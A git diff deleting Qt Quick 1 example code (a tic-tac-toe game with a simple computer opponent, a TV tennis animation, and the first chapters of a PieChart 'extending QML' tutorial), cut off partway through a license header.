b/examples/declarative/qtquick1/toys/tic-tac-toe/content/tic-tac-toe.js deleted file mode 100644 index 5a166b750f..0000000000 --- a/examples/declarative/qtquick1/toys/tic-tac-toe/content/tic-tac-toe.js +++ /dev/null @@ -1,149 +0,0 @@ -function winner(board) -{ - for (var i=0; i<3; ++i) { - if (board.children[i].state != "" - && board.children[i].state == board.children[i+3].state - && board.children[i].state == board.children[i+6].state) - return true - - if (board.children[i*3].state != "" - && board.children[i*3].state == board.children[i*3+1].state - && board.children[i*3].state == board.children[i*3+2].state) - return true - } - - if (board.children[0].state != "" - && board.children[0].state == board.children[4].state != "" - && board.children[0].state == board.children[8].state != "") - return true - - if (board.children[2].state != "" - && board.children[2].state == board.children[4].state != "" - && board.children[2].state == board.children[6].state != "") - return true - - return false -} - -function restartGame() -{ - game.running = true - - for (var i=0; i<9; ++i) - board.children[i].state = "" -} - -function makeMove(pos, player) -{ - board.children[pos].state = player - if (winner(board)) { - gameFinished(player + " wins") - return true - } else { - return false - } -} - -function canPlayAtPos(pos) -{ - return board.children[pos].state == "" -} - -function computerTurn() -{ - var r = Math.random(); - if (r < game.difficulty) - smartAI(); - else - randomAI(); -} - -function smartAI() -{ - function boardCopy(a) { - var ret = new Object; - ret.children = new Array(9); - for (var i = 0; i<9; i++) { - ret.children[i] = new Object; - ret.children[i].state = a.children[i].state; - } - return ret; - } - - for (var i=0; i<9; i++) { - var simpleBoard = boardCopy(board); - if (canPlayAtPos(i)) { - simpleBoard.children[i].state = "O"; - if (winner(simpleBoard)) { - makeMove(i, "O") - return - } - } - } - for (var i=0; i<9; i++) { - var simpleBoard = boardCopy(board); - if (canPlayAtPos(i)) { - simpleBoard.children[i].state = "X"; - if (winner(simpleBoard)) { - makeMove(i, "O") - return - } - } - } - - function thwart(a,b,c) { //If they are at a, try b or c - if (board.children[a].state == "X") { - if (canPlayAtPos(b)) { - makeMove(b, "O") - return true - } else if (canPlayAtPos(c)) { - makeMove(c, "O") - return true - } - } - return false; - } - - if (thwart(4,0,2)) return; - if (thwart(0,4,3)) return; - if (thwart(2,4,1)) return; - if (thwart(6,4,7)) return; - if (thwart(8,4,5)) return; - if (thwart(1,4,2)) return; - if (thwart(3,4,0)) return; - if (thwart(5,4,8)) return; - if (thwart(7,4,6)) return; - - for (var i =0; i<9; i++) { - if (canPlayAtPos(i)) { - makeMove(i, "O") - return - } - } - restartGame(); -} - -function randomAI() -{ - var unfilledPosns = new Array(); - - for (var i=0; i<9; ++i) { - if (canPlayAtPos(i)) - unfilledPosns.push(i); - } - - if (unfilledPosns.length == 0) { - restartGame(); - } else { - var choice = unfilledPosns[Math.floor(Math.random() * unfilledPosns.length)]; - makeMove(choice, "O"); - } -} - -function gameFinished(message) -{ - messageDisplay.text = message - messageDisplay.visible = true - game.running = false -} - diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/tic-tac-toe.qml b/examples/declarative/qtquick1/toys/tic-tac-toe/tic-tac-toe.qml deleted file mode 100644 index 49d78a99d1..0000000000 --- a/examples/declarative/qtquick1/toys/tic-tac-toe/tic-tac-toe.qml +++ /dev/null @@ -1,123 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 -import "content" -import "content/tic-tac-toe.js" as Logic - -Rectangle { - id: game - - property bool running: true - property real difficulty: 1.0 //chance it will actually think - - width: display.width; height: display.height + 10 - - Image { - id: boardImage - source: "content/pics/board.png" - } - - - Column { - id: display - - Grid { - id: board - width: boardImage.width; height: boardImage.height - columns: 3 - - Repeater { - model: 9 - - TicTac { - width: board.width/3 - height: board.height/3 - - onClicked: { - if (game.running && Logic.canPlayAtPos(index)) { - if (!Logic.makeMove(index, "X")) - Logic.computerTurn(); - } - } - } - } - } - - Row { - spacing: 4 - anchors.horizontalCenter: parent.horizontalCenter - - Button { - text: "Hard" - pressed: game.difficulty == 1.0 - onClicked: { game.difficulty = 1.0 } - } - Button { - text: "Moderate" - pressed: game.difficulty == 0.8 - onClicked: { game.difficulty = 0.8 } - } - Button { - text: "Easy" - pressed: game.difficulty == 0.2 - onClicked: { game.difficulty = 0.2 } - } - } - } - - - Text { - id: messageDisplay - anchors.centerIn: parent - color: "blue" - style: Text.Outline; styleColor: "white" - font.pixelSize: 50; font.bold: true - visible: false - - Timer { - running: messageDisplay.visible - onTriggered: { - messageDisplay.visible = false; - Logic.restartGame(); - } - } - } -} diff --git a/examples/declarative/qtquick1/toys/tic-tac-toe/tic-tac-toe.qmlproject b/examples/declarative/qtquick1/toys/tic-tac-toe/tic-tac-toe.qmlproject deleted file mode 100644 index 6351084ba9..0000000000 --- a/examples/declarative/qtquick1/toys/tic-tac-toe/tic-tac-toe.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "tic-tac-toe.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/toys/toys.qmlproject b/examples/declarative/qtquick1/toys/toys.qmlproject deleted file mode 100644 index 2bb4016996..0000000000 --- a/examples/declarative/qtquick1/toys/toys.qmlproject +++ /dev/null @@ -1,14 +0,0 @@ -import QmlProject 1.0 - -Project { - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/toys/tvtennis/tvtennis.qml b/examples/declarative/qtquick1/toys/tvtennis/tvtennis.qml deleted file mode 100644 index 604411b52d..0000000000 --- a/examples/declarative/qtquick1/toys/tvtennis/tvtennis.qml +++ /dev/null @@ -1,109 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -import QtQuick 1.0 - -Rectangle { - id: page - width: 640; height: 480 - color: "Black" - - // Make a ball to bounce - Rectangle { - id: ball - - // Add a property for the target y coordinate - property variant direction : "right" - - x: 20; width: 20; height: 20; z: 1 - color: "Lime" - - // Move the ball to the right and back to the left repeatedly - SequentialAnimation on x { - loops: Animation.Infinite - NumberAnimation { to: page.width - 40; duration: 2000 } - PropertyAction { target: ball; property: "direction"; value: "left" } - NumberAnimation { to: 20; duration: 2000 } - PropertyAction { target: ball; property: "direction"; value: "right" } - } - - // Make y move with a velocity of 200 - Behavior on y { SpringAnimation{ velocity: 200; } - } - - Component.onCompleted: y = page.height-10; // start the ball motion - - // Detect the ball hitting the top or bottom of the view and bounce it - onYChanged: { - if (y <= 0) { - y = page.height - 20; - } else if (y >= page.height - 20) { - y = 0; - } - } - } - - // Place bats to the left and right of the view, following the y - // coordinates of the ball. - Rectangle { - id: leftBat - color: "Lime" - x: 2; width: 20; height: 90 - y: ball.direction == 'left' ? ball.y - 45 : page.height/2 -45; - Behavior on y { SpringAnimation{ velocity: 300 } } - } - Rectangle { - id: rightBat - color: "Lime" - x: page.width - 22; width: 20; height: 90 - y: ball.direction == 'right' ? ball.y - 45 : page.height/2 -45; - Behavior on y { SpringAnimation{ velocity: 300 } } - } - - // The rest, to make it look realistic, if neither ever scores... - Rectangle { color: "Lime"; x: page.width/2-80; y: 0; width: 40; height: 60 } - Rectangle { color: "Black"; x: page.width/2-70; y: 10; width: 20; height: 40 } - Rectangle { color: "Lime"; x: page.width/2+40; y: 0; width: 40; height: 60 } - Rectangle { color: "Black"; x: page.width/2+50; y: 10; width: 20; height: 40 } - Repeater { - model: page.height / 20 - Rectangle { color: "Lime"; x: page.width/2-5; y: index * 20; width: 10; height: 10 } - } -} diff --git a/examples/declarative/qtquick1/toys/tvtennis/tvtennis.qmlproject b/examples/declarative/qtquick1/toys/tvtennis/tvtennis.qmlproject deleted file mode 100644 index a79805bb73..0000000000 --- a/examples/declarative/qtquick1/toys/tvtennis/tvtennis.qmlproject +++ /dev/null @@ -1,16 +0,0 @@ -import QmlProject 1.1 - -Project { - mainFile: "tvtennis.qml" - - /* Include .qml, .js, and image files from current directory and subdirectories */ - QmlFiles { - directory: "." - } - JavaScriptFiles { - directory: "." - } - ImageFiles { - directory: "." - } -} diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/app.qml b/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/app.qml deleted file mode 100644 index 17fc7a00ae..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/app.qml +++ /dev/null @@ -1,60 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import Charts 1.0 -import QtQuick 1.0 - -Item { - width: 300; height: 200 - - PieChart { - id: aPieChart - anchors.centerIn: parent - width: 100; height: 100 - name: "A simple pie chart" - color: "red" - } - - Text { - anchors { bottom: parent.bottom; horizontalCenter: parent.horizontalCenter; bottomMargin: 20 } - text: aPieChart.name - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/chapter1-basics.pro b/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/chapter1-basics.pro deleted file mode 100644 index 77cc4cdfca..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/chapter1-basics.pro +++ /dev/null @@ -1,5 +0,0 @@ -QT += declarative qtquick1 - -HEADERS += piechart.h -SOURCES += piechart.cpp \ - main.cpp diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/main.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/main.cpp deleted file mode 100644 index 3abfc91e54..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/main.cpp +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -#include "piechart.h" -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterType("Charts", 1, 0, "PieChart"); - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("app.qml")); - view.show(); - return app.exec(); -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/piechart.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/piechart.cpp deleted file mode 100644 index 846d28980c..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/piechart.cpp +++ /dev/null @@ -1,81 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include "piechart.h" -#include - -//![0] -PieChart::PieChart(QDeclarativeItem *parent) - : QDeclarativeItem(parent) -{ - // need to disable this flag to draw inside a QDeclarativeItem - setFlag(QGraphicsItem::ItemHasNoContents, false); -} -//![0] - -QString PieChart::name() const -{ - return m_name; -} - -void PieChart::setName(const QString &name) -{ - m_name = name; -} - -QColor PieChart::color() const -{ - return m_color; -} - -void PieChart::setColor(const QColor &color) -{ - m_color = color; -} - -//![1] -void PieChart::paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) -{ - QPen pen(m_color, 2); - painter->setPen(pen); - painter->setRenderHints(QPainter::Antialiasing, true); - painter->drawPie(boundingRect(), 90 * 16, 290 * 16); -} -//![1] - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/piechart.h b/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/piechart.h deleted file mode 100644 index 65c6499d82..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter1-basics/piechart.h +++ /dev/null @@ -1,71 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#ifndef PIECHART_H -#define PIECHART_H - -//![0] -#include -#include - -class PieChart : public QDeclarativeItem -{ - Q_OBJECT - Q_PROPERTY(QString name READ name WRITE setName) - Q_PROPERTY(QColor color READ color WRITE setColor) - -public: - PieChart(QDeclarativeItem *parent = 0); - - QString name() const; - void setName(const QString &name); - - QColor color() const; - void setColor(const QColor &color); - - void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget = 0); - -private: - QString m_name; - QColor m_color; -}; -//![0] - -#endif - diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/app.qml b/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/app.qml deleted file mode 100644 index 4f1b4050b3..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/app.qml +++ /dev/null @@ -1,66 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the examples of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -import Charts 1.0 -import QtQuick 1.0 - -Item { - width: 300; height: 200 - - PieChart { - id: aPieChart - anchors.centerIn: parent - width: 100; height: 100 - color: "red" - - onChartCleared: console.log("The chart has been cleared") - } - - MouseArea { - anchors.fill: parent - onClicked: aPieChart.clearChart() - } - - Text { - anchors { bottom: parent.bottom; horizontalCenter: parent.horizontalCenter; bottomMargin: 20 } - text: "Click anywhere to clear the chart" - } -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/chapter2-methods.pro b/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/chapter2-methods.pro deleted file mode 100644 index 77cc4cdfca..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/chapter2-methods.pro +++ /dev/null @@ -1,5 +0,0 @@ -QT += declarative qtquick1 - -HEADERS += piechart.h -SOURCES += piechart.cpp \ - main.cpp diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/main.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/main.cpp deleted file mode 100644 index 3abfc91e54..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/main.cpp +++ /dev/null @@ -1,56 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -//![0] -#include "piechart.h" -#include -#include - -int main(int argc, char *argv[]) -{ - QApplication app(argc, argv); - - qmlRegisterType("Charts", 1, 0, "PieChart"); - - QDeclarativeView view; - view.setSource(QUrl::fromLocalFile("app.qml")); - view.show(); - return app.exec(); -} -//![0] diff --git a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/piechart.cpp b/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/piechart.cpp deleted file mode 100644 index d92294ee33..0000000000 --- a/examples/declarative/qtquick1/tutorials/extending/chapter2-methods/piechart.cpp +++ /dev/null @@ -1,87 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list of conditions and the following disclaimer in -** the documentation and/or other materials provided with the -** distribution. -** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor -** the names of its contributors may be used to endorse or promote -** products derived from this software without specific prior written -** permission. -** -** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 